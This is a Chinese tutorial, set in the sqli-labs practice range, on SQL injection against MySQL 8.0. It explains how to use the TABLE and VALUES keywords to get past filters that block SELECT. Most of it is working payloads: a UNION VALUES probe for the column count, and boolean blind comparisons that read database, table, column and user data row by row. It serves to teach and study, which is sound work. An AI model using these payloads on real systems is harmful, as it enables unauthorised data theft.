MYSQL8.0注入新特性
字数 1038 2025-08-10 08:28:24
MySQL 8.0注入新特性教学文档
一、环境配置
1.1 搭建MySQL 8.0.22环境
- 使用Docker快速搭建:
docker pull mysql:8.0.22 docker run -itd -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22
1.2 配置SQL注入靶场
- 推荐使用sqli-lab靶场
- 注意MySQL 8.0认证方式变更问题:
ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';
二、MySQL 8.0注入新特性
2.1 TABLE关键字
- 官方文档:https://dev.mysql.com/doc/refman/8.0/en/table.html
- 基本语法:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] - 功能类似SELECT,可列出表详细内容
- 特点:
- 不能像SELECT控制列数
- 除非列数相同的表,否则无法回显
2.2 VALUES关键字
- 官方文档:https://dev.mysql.com/doc/refman/8.0/en/values.html
- 基本语法:
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] - 可以构造一个表
- 注入应用:
- 可接在UNION后判断列数
select * from users where id = 1 union values row(1,2,3)- 列数不对会报错
三、注入实战技巧
3.1 绕过SELECT过滤
当SELECT被过滤时,可使用TABLE和VALUES进行注入
3.2 判断列数
- 使用ORDER BY判断列数
- 使用VALUES判断回显位置
?id=-1' union values row(1,2,3)--+
3.3 获取数据库信息
-
获取当前库名(布尔盲注):
1&&substr((database()),1,1)='c' -
获取所有数据库名:
table information_schema.schemata使用盲注判断:
1&&('def','m','',4,5,6)<(table information_schema.schemata limit 1);
3.4 获取表名
('def','security','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit 325,1);
3.5 获取字段名
('def','security','users','','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit 3415,1);
3.6 注入数据
(1,'','') < (table users limit 1);
四、注意事项
-
比较时需注意数据类型:
- 字符列必须用字符表示
('def','mysql','',4,5,6)<(table information_schema.schemata limit 1); # 正确 ('def','mysql',3,4,5,6)<(table information_schema.schemata limit 1); # 错误 -
字符比较规则:
- 按ASCII码顺序比较
- 从左到右逐个字符判断
- 前一个字符判断不正确会影响后续判断
-
表名匹配问题:
- 不同表名可能匹配到相同行数(如sys和security)
- 需要结合经验判断准确行数
五、参考资源
-
MySQL官方文档:
- TABLE: https://dev.mysql.com/doc/refman/8.0/en/table.html
- VALUES: https://dev.mysql.com/doc/refman/8.0/en/values.html
-
数据库表字段查询参考:
https://www.cnblogs.com/20175211lyz/p/12358725.html
六、总结
MySQL 8.0注入新特性主要围绕TABLE和VALUES两个关键字展开,在SELECT被过滤时特别有用。注入过程需要结合布尔盲注技术,通过比较操作逐位获取数据。相比传统注入方法,这种方式更复杂但能绕过某些过滤机制。实际应用中需要注意数据类型匹配和字符比较规则,同时要熟悉information_schema中各种系统表的结构。